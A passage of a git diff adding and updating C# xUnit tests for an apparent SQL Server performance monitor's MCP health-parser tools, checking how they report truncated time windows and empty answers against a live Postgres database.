-        var map = new Dictionary<int, string> { [5] = "AdventureWorks", [1] = "master" };
-        Assert.Equal("AdventureWorks", DarlingSystemHealthReader.ResolveDatabaseName(5, map));
-        Assert.Equal("master", DarlingSystemHealthReader.ResolveDatabaseName(1, map));
-        Assert.Equal("", DarlingSystemHealthReader.ResolveDatabaseName(0, map));
-        Assert.Equal("", DarlingSystemHealthReader.ResolveDatabaseName(null, map));
-        Assert.Equal("database_id 7", DarlingSystemHealthReader.ResolveDatabaseName(7, map));
-    }
 }
 
 /// <summary>
@@ -405,10 +385,12 @@ await DarlingMcpTestData.ExecAsync(connection, ct,
             await PlantEvent(SystemHealthParser.SpServerDiagnosticsEvent, "sp_server_diagnostics_io_subsystem.xml");
             await PlantEvent(SystemHealthParser.MemoryNodeOomEvent, "memory_node_oom.xml");
 
-            /* database_size_stats maps database_id 6 (the error_reported fixture's id) → a name for severe-error resolution. */
+            /* database_size_stats maps database_id 6 (the error_reported fixture's id) → a name for severe-error resolution.
+               The snapshot is taken at the error's own time (the fixture's fixed timestamp, whatever today's date): the
+               name history looks at most 14 days past the error for an id with no earlier snapshot (#5373). */
             await DarlingMcpTestData.ExecAsync(connection, ct,
                 @"INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, database_id)
-VALUES ($1,$2,$3,$4,$5,$6)", CollectionIdGenerator.Next(), t, ServerId, ServerName, "ProdDb", 6);
+VALUES ($1,$2,$3,$4,$5,$6)", CollectionIdGenerator.Next(), new DateTime(2026, 7, 5, 12, 0, 5, 500, DateTimeKind.Utc), ServerId, ServerName, "ProdDb", 6);
 
             DarlingMcpTestData.AssertEnvelope(await DarlingMcpHealthParserTools.GetSchedulerIssues(postgres, ServerName), ServerName, "issues");
 
@@ -431,7 +413,9 @@ await DarlingMcpTestData.ExecAsync(connection, ct,
             Assert.True(conditions.GetProperty("source_observed").GetBoolean());
             Assert.Equal(t.ToString("o"), conditions.GetProperty("last_captured_at").GetString());
             Assert.True(conditions.GetProperty("events_in_window").GetInt32() > 0);
-            Assert.Contains("Events ARE being captured", conditions.GetProperty("message").GetString()!, StringComparison.Ordinal);
+            /* #4966: the plant is minutes old against a 24-hour window, so the window is cut and the healthy-answer claim gives way. */
+            Assert.StartsWith($"{conditions.GetProperty("events_in_window").GetInt32()} ", conditions.GetProperty("message").GetString()!, StringComparison.Ordinal);
+            Assert.EndsWith($". {McpHelpers.CutWindowNothingMessage}", conditions.GetProperty("message").GetString()!, StringComparison.Ordinal);
 
             var broker = JsonDocument.Parse(await DarlingMcpHealthParserTools.GetMemoryBroker(postgres, ServerName)).RootElement;
             Assert.Equal("empty", broker.GetProperty("status").GetString());
diff --git a/Darling/Darling.Tests/DarlingMcpHealthParserToolsWindowNoticeTests.cs b/Darling/Darling.Tests/DarlingMcpHealthParserToolsWindowNoticeTests.cs
new file mode 100644
index 0000000000..e147afd25e
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingMcpHealthParserToolsWindowNoticeTests.cs
@@ -0,0 +1,437 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4966: where the data starts, on the nine <c>get_health_parser_*</c> tools. Each writes <c>effective_start</c>,
+/// <c>window_truncated</c> and <c>truncation_note</c> right after <c>hours_back</c> on a data answer, and the same three keys under
+/// <c>hints</c> on an <c>empty</c> one. The coverage is the <c>system_health_events</c> table's (events of EVERY type plus the
+/// collector's logged runs), never one event type's first hit, and a first collection stores the ring buffer's history, so an event
+/// can be older than the coverage: the notice names the earlier of the two. <c>unavailable</c> answers stay bare. Every window is
+/// anchored by <c>as_of</c>.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class DarlingMcpHealthParserToolsWindowNoticeLiveTests
+{
+    private const string Collector = "system_health_events";
+    private static readonly string[] HealthTables = ["system_health_events"];
+
+    public enum HealthTool { SystemHealth, SevereErrors, IoIssues, SchedulerIssues, MemoryConditions, CpuTasks, MemoryBroker, MemoryNodeOom, SignificantWaits }
+
+    private static string HealthName(string scenario) => "darling-mcp-health-notice-" + scenario;
+
+    private static Task<string> CallHealthAsync(HealthTool tool, NpgsqlDataSource ds, string scenario, int hours, DateTime end, int limit = 50)
+    {
+        var name = HealthName(scenario);
+        var asOf = WebDataStartNote.FormatWindowEnd(end);
+        return tool switch
+        {
+            HealthTool.SystemHealth => DarlingMcpHealthParserTools.GetSystemHealth(ds, name, hours, limit, asOf),
+            HealthTool.SevereErrors => DarlingMcpHealthParserTools.GetSevereErrors(ds, name, hours, limit, asOf),
+            HealthTool.IoIssues => DarlingMcpHealthParserTools.GetIOIssues(ds, name, hours, limit, asOf),
+            HealthTool.SchedulerIssues => DarlingMcpHealthParserTools.GetSchedulerIssues(ds, name, hours, limit, asOf),
+            HealthTool.MemoryConditions => DarlingMcpHealthParserTools.GetMemoryConditions(ds, name, hours, limit, asOf),
+            HealthTool.CpuTasks => DarlingMcpHealthParserTools.GetCPUTasks(ds, name, hours, limit, asOf),
+            HealthTool.MemoryBroker => DarlingMcpHealthParserTools.GetMemoryBroker(ds, name, hours, limit, asOf),
+            HealthTool.MemoryNodeOom => DarlingMcpHealthParserTools.GetMemoryNodeOOM(ds, name, hours, limit, asOf),
+            _ => DarlingMcpHealthParserTools.GetSignificantWaits(ds, name, hours, limit, asOf),
+        };
+    }
+
+    /// <summary>The event type a tool reads, a fixture that passes its significance gate, and the edit that makes a memory fixture one the gate keeps.</summary>
+    private static (string EventType, string Fixture, bool Low) SourceOf(HealthTool tool) => tool switch
+    {
+        HealthTool.SystemHealth => (SystemHealthParser.SpServerDiagnosticsEvent, "sp_server_diagnostics_system.xml", false),
+        HealthTool.SevereErrors => (SystemHealthParser.ErrorReportedEvent, "error_reported.xml", false),
+        HealthTool.IoIssues => (SystemHealthParser.SpServerDiagnosticsEvent, "sp_server_diagnostics_io_subsystem.xml", false),
+        HealthTool.SchedulerIssues => (SystemHealthParser.SchedulerMonitorEvent, "scheduler_monitor_high_sql_cpu.xml", false),
+        HealthTool.MemoryConditions => (SystemHealthParser.SpServerDiagnosticsEvent, "sp_server_diagnostics_resource.xml", true),
+        HealthTool.CpuTasks => (SystemHealthParser.SpServerDiagnosticsEvent, "sp_server_diagnostics_query_processing_warning.xml", false),
+        HealthTool.MemoryBroker => (SystemHealthParser.MemoryBrokerEvent, "memory_broker.xml", true),
+        HealthTool.MemoryNodeOom => (SystemHealthParser.MemoryNodeOomEvent, "memory_node_oom.xml", false),
+        _ => (SystemHealthParser.WaitInfoEvent, "wait_info.xml", false),
+    };
+
+    /// <summary>A tool whose event type differs from <paramref name="tool"/>'s, so its window is empty beside a collector that IS read.</summary>
+    private static HealthTool OtherTypeOf(HealthTool tool) =>
+        tool is HealthTool.SignificantWaits or HealthTool.MemoryNodeOom ? HealthTool.SevereErrors : HealthTool.MemoryNodeOom;
+
+    /// <summary>A gate-passing event of <paramref name="tool"/>'s type at <paramref name="eventTime"/>, stored by a collection at <paramref name="collectedAt"/>.</summary>
+    private static Task SeedHealthEventAsync(NpgsqlConnection c, string scenario, HealthTool tool, DateTime eventTime, DateTime? collectedAt = null)
+    {
+        var (eventType, fixture, low) = SourceOf(tool);
+        var xml = System.IO.File.ReadAllText(System.IO.Path.Combine(AppContext.BaseDirectory, "Fixtures", "SystemHealth", fixture));
+        if (low)
+        {
+            xml = xml.Replace("RESOURCE_MEMPHYSICAL_HIGH", "RESOURCE_MEMPHYSICAL_LOW", StringComparison.Ordinal);
+        }
+
+        /* The row's event time is the event's own timestamp, as a real capture has it; the read windows on the column. */
+        xml = Regex.Replace(xml, "timestamp=\"[^\"]*\"", $"timestamp=\"{eventTime:yyyy-MM-dd'T'HH:mm:ss.fff}Z\"");
+        var name = HealthName(scenario);
+        return DarlingMcpTestData.ExecAsync(c, TestContext.Current.CancellationToken,
+            @"INSERT INTO system_health_events (system_health_event_id, collection_time, server_id, server_name, event_time, event_type, event_xml)
+VALUES ($1,$2,$3,$4,$5,$6,$7)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.Naive(collectedAt ?? eventTime), ServerIdHelper.GetDeterministicHashCode(name), name,
+            DarlingMcpTestData.Naive(eventTime), eventType, xml);
+    }
+
+    private static Task RunHealthAsync(string scenario, Func<NpgsqlConnection, NpgsqlDataSource, DateTime, Task> body) =>
+        WindowFloorLiveHarness.RunAsync(ConnectionStringForNotices, [Collector], [HealthName(scenario)], HealthTables, body);
+
+    private static string? ConnectionStringForNotices => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static Task SeedHealthServerAsync(NpgsqlConnection c, string scenario, DateTime created, DateTime? runsFrom, DateTime end) =>
+        WindowFloorLiveHarness.SeedServerAsync(c, HealthName(scenario), created, Collector, runsFrom, 30, end, HealthTables, TestContext.Current.CancellationToken);
+
+    private static void AssertTruncatedAt(JsonElement root, DateTime expected, DateTime windowStart)
+    {
+        Assert.True(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(McpHelpers.FormatEffectiveStart(expected), root.GetProperty("effective_start").GetString());
+        Assert.Equal(DarlingMcpWindowNotice.Build(expected, windowStart, Collector).TruncationNote, root.GetProperty("truncation_note").GetString());
+    }
+
+    private static void AssertCovered(JsonElement root, DateTime windowStart)
+    {
+        Assert.False(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        var effective = DateTime.Parse(root.GetProperty("effective_start").GetString()!, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.RoundtripKind);
+        Assert.InRange((effective - windowStart).TotalSeconds, 0, 120);
+    }
+
+    [Theory]
+    [InlineData(HealthTool.SystemHealth)]
+    [InlineData(HealthTool.SevereErrors)]
+    [InlineData(HealthTool.IoIssues)]
+    [InlineData(HealthTool.SchedulerIssues)]
+    [InlineData(HealthTool.MemoryConditions)]
+    [InlineData(HealthTool.CpuTasks)]
+    [InlineData(HealthTool.MemoryBroker)]
+    [InlineData(HealthTool.MemoryNodeOom)]
+    [InlineData(HealthTool.SignificantWaits)]
+    public async Task CollectionStartsInsideTheWindow_ReportsTheFloor_AndTheNote_AgainstDevPostgres(HealthTool tool) =>
+        await RunHealthAsync("inside-" + tool, async (c, ds, end) =>
+        {
+            var floor = end.AddDays(-2);
+            await SeedHealthServerAsync(c, "inside-" + tool, floor, floor, end);
+            await SeedHealthEventAsync(c, "inside-" + tool, tool, floor);
+            await SeedHealthEventAsync(c, "inside-" + tool, tool, end.AddDays(-1));
+
+            var root = WindowFloorLiveHarness.Parse(await CallHealthAsync(tool, ds, "inside-" + tool, 168, end));
+
+            AssertTruncatedAt(root, floor, end.AddHours(-168));
+        });
+
+    [Theory]
+    [InlineData(HealthTool.SystemHealth)]
+    [InlineData(HealthTool.SevereErrors)]
+    [InlineData(HealthTool.IoIssues)]
+    [InlineData(HealthTool.SchedulerIssues)]
+    [InlineData(HealthTool.MemoryConditions)]
+    [InlineData(HealthTool.CpuTasks)]
+    [InlineData(HealthTool.MemoryBroker)]
+    [InlineData(HealthTool.MemoryNodeOom)]
+    [InlineData(HealthTool.SignificantWaits)]
+    public async Task AQuietStart_RunsFromBeforeTheWindow_FirstEventTwoDaysIn_IsCovered_AgainstDevPostgres(HealthTool tool) =>
+        await RunHealthAsync("quiet-" + tool, async (c, ds, end) =>
+        {
+            await SeedHealthServerAsync(c, "quiet-" + tool, end.AddDays(-30), end.AddDays(-8), end);
+            await SeedHealthEventAsync(c, "quiet-" + tool, tool, end.AddDays(-2));
+
+            var root = WindowFloorLiveHarness.Parse(await CallHealthAsync(tool, ds, "quiet-" + tool, 168, end));
+
+            AssertCovered(root, end.AddHours(-168));
+        });
+
+    [Theory]
+    [InlineData(HealthTool.SystemHealth)]
+    [InlineData(HealthTool.SevereErrors)]
+    [InlineData(HealthTool.IoIssues)]
+    [InlineData(HealthTool.SchedulerIssues)]
+    [InlineData(HealthTool.MemoryConditions)]
+    [InlineData(HealthTool.CpuTasks)]
+    [InlineData(HealthTool.MemoryBroker)]
+    [InlineData(HealthTool.MemoryNodeOom)]
+    [InlineData(HealthTool.SignificantWaits)]
+    public async Task ABackfilledEvent_OlderThanTheCoverage_NamesTheEventNotTheCoverage_AgainstDevPostgres(HealthTool tool) =>
+        await RunHealthAsync("backfill-" + tool, async (c, ds, end) =>
+        {
+            /* Collection began a day ago, and its first run stored the ring buffer's history: an event from three days ago. */
+            var began = end.AddDays(-1);
+            var backfilled = end.AddDays(-3);
+            await SeedHealthServerAsync(c, "backfill-" + tool, began, began, end);
+            await SeedHealthEventAsync(c, "backfill-" + tool, tool, backfilled, collectedAt: began);
+            await SeedHealthEventAsync(c, "backfill-" + tool, tool, end.AddHours(-6));
+
+            var root = WindowFloorLiveHarness.Parse(await CallHealthAsync(tool, ds, "backfill-" + tool, 168, end));
+
+            AssertTruncatedAt(root, backfilled, end.AddHours(-168));
+        });
+
+    [Theory]
+    [InlineData(HealthTool.SystemHealth)]
+    [InlineData(HealthTool.SevereErrors)]
+    [InlineData(HealthTool.IoIssues)]
+    [InlineData(HealthTool.SchedulerIssues)]
+    [InlineData(HealthTool.MemoryConditions)]
+    [InlineData(HealthTool.CpuTasks)]
+    [InlineData(HealthTool.MemoryBroker)]
+    [InlineData(HealthTool.MemoryNodeOom)]
+    [InlineData(HealthTool.SignificantWaits)]
+    public async Task ASparseEventType_OnAnOldServer_UsesTheTablesCoverage_AgainstDevPostgres(HealthTool tool) =>
+        await RunHealthAsync("sparse-" + tool, async (c, ds, end) =>
+        {
+            /* An event of another type sits inside the window, two days before the first of this type, with no collector run logged:
+               the table is covered from before the window whatever this type's first hit says, and a probe filtered to this type
+               would not see the other type's event at all. */
+            await SeedHealthServerAsync(c, "sparse-" + tool, end.AddDays(-30), null, end);
+            await SeedHealthEventAsync(c, "sparse-" + tool, OtherTypeOf(tool), end.AddDays(-3));
+            await SeedHealthEventAsync(c, "sparse-" + tool, tool, end.AddDays(-1));
+
+            var root = WindowFloorLiveHarness.Parse(await CallHealthAsync(tool, ds, "sparse-" + tool, 168, end));
+
+            AssertCovered(root, end.AddHours(-168));
+        });
+
+    [Theory]
+    [InlineData(HealthTool.SystemHealth)]
+    [InlineData(HealthTool.SevereErrors)]
+    [InlineData(HealthTool.IoIssues)]
+    [InlineData(HealthTool.SchedulerIssues)]
+    [InlineData(HealthTool.MemoryConditions)]
+    [InlineData(HealthTool.CpuTasks)]
+    [InlineData(HealthTool.MemoryBroker)]
+    [InlineData(HealthTool.MemoryNodeOom)]
+    [InlineData(HealthTool.SignificantWaits)]
+    public async Task AnEmptyAnswer_PastCoverage_CarriesTheKeysUnderHints_AndStaysTopLevelAround_AgainstDevPostgres(HealthTool tool) =>
+        await RunHealthAsync("empty-" + tool, async (c, ds, end) =>
+        {
+            /* The session IS read (an event of another type is stored), the server was added a day ago, and this type never fired. */
+            var added = end.AddDays(-1);
+            await SeedHealthServerAsync(c, "empty-" + tool, added, added, end);
+            await SeedHealthEventAsync(c, "empty-" + tool, OtherTypeOf(tool), end.AddHours(-6));
+
+            var root = WindowFloorLiveHarness.Parse(await CallHealthAsync(tool, ds, "empty-" + tool, 168, end));
+
+            Assert.Equal("empty", root.GetProperty("status").GetString());
+            Assert.True(root.GetProperty("source_observed").GetBoolean());
+            var hints = root.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), hints.GetProperty("effective_start").GetString());
+            Assert.False(root.TryGetProperty("window_truncated", out _));
+        });
+
+    /// <summary>
+    /// #4966, rung 2 of the empty ladder (this type was captured before the window, none in it): a window cut at a start names
+    /// effective_start, a window the store holds nothing in says nothing was read, and a covered window keeps "genuinely quiet".
+    /// The first sentence (which type, which server, when the newest was stored) is kept on all three.
+    /// </summary>
+    [Theory]
+    [InlineData(HealthTool.SystemHealth)]
+    [InlineData(HealthTool.SevereErrors)]
+    [InlineData(HealthTool.MemoryNodeOom)]
+    [InlineData(HealthTool.SignificantWaits)]
+    public async Task AnEmptyAnswer_TheTypeSeenBeforeTheWindow_PicksTheCutVariantByTheNotice_AgainstDevPostgres(HealthTool tool) =>
+        await RunHealthAsync("rung2-" + tool, async (c, ds, end) =>
+        {
+            var (eventType, _, _) = SourceOf(tool);
+            var added = end.AddDays(-1);
+            await SeedHealthServerAsync(c, "rung2-" + tool, added, added, end);
+            await SeedHealthEventAsync(c, "rung2-" + tool, tool, end.AddDays(-20));
+
+            var cut = WindowFloorLiveHarness.Parse(await CallHealthAsync(tool, ds, "rung2-" + tool, 168, end));
+
+            Assert.True(cut.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), cut.GetProperty("hints").GetProperty("effective_start").GetString());
+            var message = cut.GetProperty("message").GetString()!;
+            Assert.StartsWith($"No {eventType} events were captured for {HealthName("rung2-" + tool)} in the last 168 hour(s). This server HAS captured them before", message, StringComparison.Ordinal);
+            Assert.EndsWith(". " + McpHelpers.CutWindowNothingMessage, message, StringComparison.Ordinal);
+            Assert.DoesNotContain("genuinely quiet", message, StringComparison.Ordinal);
+        });
+
+    [Theory]
+    [InlineData(HealthTool.SystemHealth)]
+    [InlineData(HealthTool.SignificantWaits)]
+    public async Task AnEmptyAnswer_TheTypeSeenBeforeTheWindow_NothingHeld_SaysNothingWasRead_AgainstDevPostgres(HealthTool tool) =>
+        await RunHealthAsync("rung2none-" + tool, async (c, ds, end) =>
+        {
+            await SeedHealthServerAsync(c, "rung2none-" + tool, end.AddDays(-30), null, end);
+            await SeedHealthEventAsync(c, "rung2none-" + tool, tool, end.AddDays(-20));
+
+            var cut = WindowFloorLiveHarness.Parse(await CallHealthAsync(tool, ds, "rung2none-" + tool, 168, end));
+
+            Assert.True(cut.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(JsonValueKind.Null, cut.GetProperty("hints").GetProperty("effective_start").ValueKind);
+            Assert.EndsWith(". " + McpHelpers.CutWindowNothingReadMessage, cut.GetProperty("message").GetString()!, StringComparison.Ordinal);
+        });
+
+    [Theory]
+    [InlineData(HealthTool.SystemHealth)]
+    [InlineData(HealthTool.SignificantWaits)]
+    public async Task AnEmptyAnswer_TheTypeSeenBeforeTheWindow_OverACoveredWindow_KeepsGenuinelyQuiet_AgainstDevPostgres(HealthTool tool) =>
+        await RunHealthAsync("rung2cov-" + tool, async (c, ds, end) =>
+        {
+            await SeedHealthServerAsync(c, "rung2cov-" + tool, end.AddDays(-30), end.AddDays(-8), end);
+            await SeedHealthEventAsync(c, "rung2cov-" + tool, tool, end.AddDays(-20));
+
+            var covered = WindowFloorLiveHarness.Parse(await CallHealthAsync(tool, ds, "rung2cov-" + tool, 168, end));
+
+            Assert.False(covered.GetProperty("hints").GetProperty("window_truncated").GetBoolean());
+            Assert.EndsWith(", so the window is genuinely quiet rather than blind — widen hours_back to reach the most recent events.", covered.GetProperty("message").GetString()!, StringComparison.Ordinal);
+        });
+
+    [Theory]
+    [InlineData(HealthTool.SystemHealth)]
+    [InlineData(HealthTool.SevereErrors)]
+    [InlineData(HealthTool.IoIssues)]
+    [InlineData(HealthTool.SchedulerIssues)]
+    [InlineData(HealthTool.MemoryConditions)]
+    [InlineData(HealthTool.CpuTasks)]
+    [InlineData(HealthTool.MemoryBroker)]
+    [InlineData(HealthTool.MemoryNodeOom)]
+    [InlineData(HealthTool.SignificantWaits)]
+    public async Task AServerWithNoCollectionAtAll_StaysBare_NoKeysNoHints_AgainstDevPostgres(HealthTool tool) =>
+        await RunHealthAsync("none-" + tool, async (c, ds, end) =>
+        {
+            await SeedHealthServerAsync(c, "none-" + tool, end.AddDays(-30), null, end);
+
+            var json = await CallHealthAsync(tool, ds, "none-" + tool, 168, end);
+
+            Assert.DoesNotContain("effective_start", json, StringComparison.Ordinal);
+            Assert.DoesNotContain("window_truncated", json, StringComparison.Ordinal);
+            Assert.DoesNotContain("\"hints\"", json, StringComparison.Ordinal);
+        });
+
+    [Theory]
+    [InlineData(HealthTool.SystemHealth)]
+    [InlineData(HealthTool.SevereErrors)]
+    [InlineData(HealthTool.IoIssues)]
+    [InlineData(HealthTool.SchedulerIssues)]
+    [InlineData(HealthTool.MemoryConditions)]
+    [InlineData(HealthTool.CpuTasks)]
+    [InlineData(HealthTool.MemoryBroker)]
+    [InlineData(HealthTool.MemoryNodeOom)]
+    [InlineData(HealthTool.SignificantWaits)]
+    public async Task ADataAnswer_CarriesTheKeysRightAfterHoursBack_AndALimitedPageKeepsThem_AgainstDevPostgres(HealthTool tool) =>
+        await RunHealthAsync("order-" + tool, async (c, ds, end) =>
+        {
+            var floor = end.AddDays(-2);
+            await SeedHealthServerAsync(c, "order-" + tool, floor, floor, end);
+            await SeedHealthEventAsync(c, "order-" + tool, tool, end.AddDays(-1));
+            await SeedHealthEventAsync(c, "order-" + tool, tool, end.AddHours(-5));
+
+            var json = await CallHealthAsync(tool, ds, "order-" + tool, 168, end, limit: 1);
+            var root = WindowFloorLiveHarness.Parse(json);
+
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            Assert.Equal(["effective_start", "window_truncated", "truncation_note"], names.Skip(names.IndexOf("hours_back") + 1).Take(3));
+            Assert.Equal(1, root.GetProperty("shown").GetInt32());
+            Assert.True(root.GetProperty("window_truncated").GetBoolean());
+        });
+
+    [Theory]
+    [InlineData(HealthTool.SystemHealth)]
+    [InlineData(HealthTool.SevereErrors)]
+    [InlineData(HealthTool.IoIssues)]
+    [InlineData(HealthTool.SchedulerIssues)]
+    [InlineData(HealthTool.MemoryConditions)]
+    [InlineData(HealthTool.CpuTasks)]
+    [InlineData(HealthTool.MemoryBroker)]
+    [InlineData(HealthTool.MemoryNodeOom)]
+    [InlineData(HealthTool.SignificantWaits)]
+    public async Task AShortWindow_WithRows_StartsNoProbe_AndAFailedProbe_CostsTheNoticeNotTheRows_AgainstDevPostgres(HealthTool tool) =>
+        await RunHealthAsync("probe-" + tool, async (c, ds, end) =>
+        {
+            await SeedHealthServerAsync(c, "probe-" + tool, end.AddDays(-30), end.AddDays(-30), end);
+            await SeedHealthEventAsync(c, "probe-" + tool, tool, end.AddMinutes(-20));
+
+            var probes = 0;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { probes++; throw new TimeoutException("the probe's deadline passed"); };
+
+            /* One hour, rows: no probe starts, so the throwing stand-in is never reached and the keys are present and covered. */
+            var shortRoot = WindowFloorLiveHarness.Parse(await CallHealthAsync(tool, ds, "probe-" + tool, 1, end));
+            Assert.Equal(0, probes);
+            Assert.False(shortRoot.GetProperty("window_truncated").GetBoolean());
+
+            /* A week: the probe runs and fails. The rows stay, the three keys go. */
+            var failed = WindowFloorLiveHarness.Parse(await CallHealthAsync(tool, ds, "probe-" + tool, 168, end));
+            Assert.Equal(1, probes);
+            Assert.False(failed.TryGetProperty("effective_start", out _));
+            Assert.False(failed.TryGetProperty("window_truncated", out _));
+            Assert.False(failed.TryGetProperty("truncation_note", out _));
+            Assert.True(failed.GetProperty("shown").GetInt32() >= 1);
+        });
+
+    [Fact]
+    public async Task ALimitedPage_StillNamesTheEarliestEvent_OfEveryQualifyingRow_AgainstDevPostgres() =>
+        await RunHealthAsync("page-cap", async (c, ds, end) =>
+        {
+            /* The read has no SQL cap, so the store reaches the backfilled event even though limit 1 returns only the newest row. */
+            var began = end.AddDays(-1);
+            var backfilled = end.AddDays(-3);
+            await SeedHealthServerAsync(c, "page-cap", began, began, end);
+            await SeedHealthEventAsync(c, "page-cap", HealthTool.SystemHealth, backfilled, collectedAt: began);
+            await SeedHealthEventAsync(c, "page-cap", HealthTool.SystemHealth, end.AddHours(-6));
+
+            var root = WindowFloorLiveHarness.Parse(await CallHealthAsync(HealthTool.SystemHealth, ds, "page-cap", 168, end, limit: 1));
+
+            Assert.Equal(1, root.GetProperty("shown").GetInt32());
+            Assert.Equal(2, root.GetProperty("total_entries").GetInt32());
+            AssertTruncatedAt(root, backfilled, end.AddHours(-168));
+        });
+
+    [Theory]
+    [InlineData(HealthTool.SystemHealth)]
+    [InlineData(HealthTool.SevereErrors)]
+    [InlineData(HealthTool.SignificantWaits)]
+    public async Task NoCoverageInTheWindow_WithEventsLateInIt_NamesTheEarliestEvent_AgainstDevPostgres(HealthTool tool) =>
+        await RunHealthAsync("nofloor-late-" + tool, async (c, ds, end) =>
+        {
+            /* The server was registered, and its runs logged, only after as_of: the probe finds no coverage in the window, yet backfilled events sit in it. */
+            var late = end.AddHours(-6);
+            await WindowFloorLiveHarness.SeedServerAsync(c, HealthName("nofloor-late-" + tool), end.AddHours(1), Collector, end.AddHours(1), 30, end.AddHours(3), HealthTables, TestContext.Current.CancellationToken);
+            await SeedHealthEventAsync(c, "nofloor-late-" + tool, tool, late, collectedAt: end.AddHours(1));
+            await SeedHealthEventAsync(c, "nofloor-late-" + tool, tool, end.AddHours(-2), collectedAt: end.AddHours(1));
+
+            var root = WindowFloorLiveHarness.Parse(await CallHealthAsync(tool, ds, "nofloor-late-" + tool, 168, end));
+
+            AssertTruncatedAt(root, late, end.AddHours(-168));
+        });
+
+    [Theory]
+    [InlineData(HealthTool.SystemHealth)]
+    [InlineData(HealthTool.SevereErrors)]
+    [InlineData(HealthTool.SignificantWaits)]
+    public async Task NoCoverageInTheWindow_WithAnEventNearTheWindowStart_IsCovered_AgainstDevPostgres(HealthTool tool) =>
+        await RunHealthAsync("nofloor-near-" + tool, async (c, ds, end) =>
+        {
+            /* Same shape, but the earliest event is 30 minutes after the window start: within the 90-minute slack, so no notice. */
+            await WindowFloorLiveHarness.SeedServerAsync(c, HealthName("nofloor-near-" + tool), end.AddHours(1), Collector, end.AddHours(1), 30, end.AddHours(3), HealthTables, TestContext.Current.CancellationToken);
+            await SeedHealthEventAsync(c, "nofloor-near-" + tool, tool, end.AddHours(-168).AddMinutes(30), collectedAt: end.AddHours(1));
+            await SeedHealthEventAsync(c, "nofloor-near-" + tool, tool, end.AddHours(-2), collectedAt: end.AddHours(1));
+
+            var root = WindowFloorLiveHarness.Parse(await CallHealthAsync(tool, ds, "nofloor-near-" + tool, 168, end));
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        });
+}
diff --git a/Darling/Darling.Tests/DarlingMcpHealthToolsTests.cs b/Darling/Darling.Tests/DarlingMcpHealthToolsTests.cs
index c9e5f000c7..6f10fa17e3 100644
--- a/Darling/Darling.Tests/DarlingMcpHealthToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpHealthToolsTests.cs
@@ -35,6 +35,7 @@ namespace Darling.Tests;
 /// positional-param; the daily band wires through the shared calculator; and the advertised tools/list schema
 /// is Gemini-clean.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class DarlingMcpHealthToolsSurfaceAndSqlTests
 {
     private static readonly string[] HealthToolSurface =
@@ -409,6 +410,7 @@ public void AdvertisedSchema_IsGeminiClean_ForEveryTool_NoRequiredParams()
 /// get_daily_summary bands the day Critical (a deadlock fired).
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class DarlingMcpHealthToolsLivePostgresTests
 {
     private const string ServerName = "darling-mcp-health-e2e";
diff --git a/Darling/Darling.Tests/DarlingMcpHostGateLiveTests.cs b/Darling/Darling.Tests/DarlingMcpHostGateLiveTests.cs
index e54d09c6f3..664f8b3897 100644
--- a/Darling/Darling.Tests/DarlingMcpHostGateLiveTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpHostGateLiveTests.cs
@@ -21,6 +21,8 @@
 using Microsoft.Extensions.DependencyInjection;
 using Microsoft.Extensions.Logging;
 using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
 using PerformanceMonitor.Darling.Service.Mcp;
 using Xunit;
 
@@ -49,6 +51,19 @@ public sealed class DarlingMcpHostGateLiveTests
     private const string Token = "correct-mcp-token-value";
     private static readonly IPAddress InCidrRemote = IPAddress.Parse("192.168.1.50");
 
+    /// <summary>Adapts <see cref="CapturingTestLogger"/> (a plain <see cref="ILogger"/>) to the generic
+    /// <see cref="ILogger{TCategoryName}"/> <see cref="DarlingMcpHostService"/>'s constructor requires.</summary>
+    private sealed class CapturingHostLogger(CapturingTestLogger inner) : ILogger<DarlingMcpHostService>
+    {
+        public IDisposable? BeginScope<TState>(TState state) where TState : notnull => inner.BeginScope(state);
+
+        public bool IsEnabled(LogLevel logLevel) => inner.IsEnabled(logLevel);
+
+        public void Log<TState>(
+            LogLevel logLevel, EventId eventId, TState state, Exception? exception, Func<TState, Exception?, string> formatter)
+            => inner.Log(logLevel, eventId, state, exception, formatter);
+    }
+
     /// <summary>
     /// Builds a <see cref="TestServer"/> running the REAL <see cref="DarlingMcpHostService.ConfigureMcpServices"/>
     /// and <see cref="DarlingMcpHostService.ConfigurePipeline"/> — the exact methods the production
@@ -56,7 +71,9 @@ public sealed class DarlingMcpHostGateLiveTests
     /// the singletons the tool classes require (a data source the gates never open, since none of them touch
     /// Postgres — a request is refused or reaches tools/list before any tool body runs).
     /// </summary>
-    private static async Task<TestServer> BuildServer(bool networkMode)
+    private static async Task<TestServer> BuildServer(
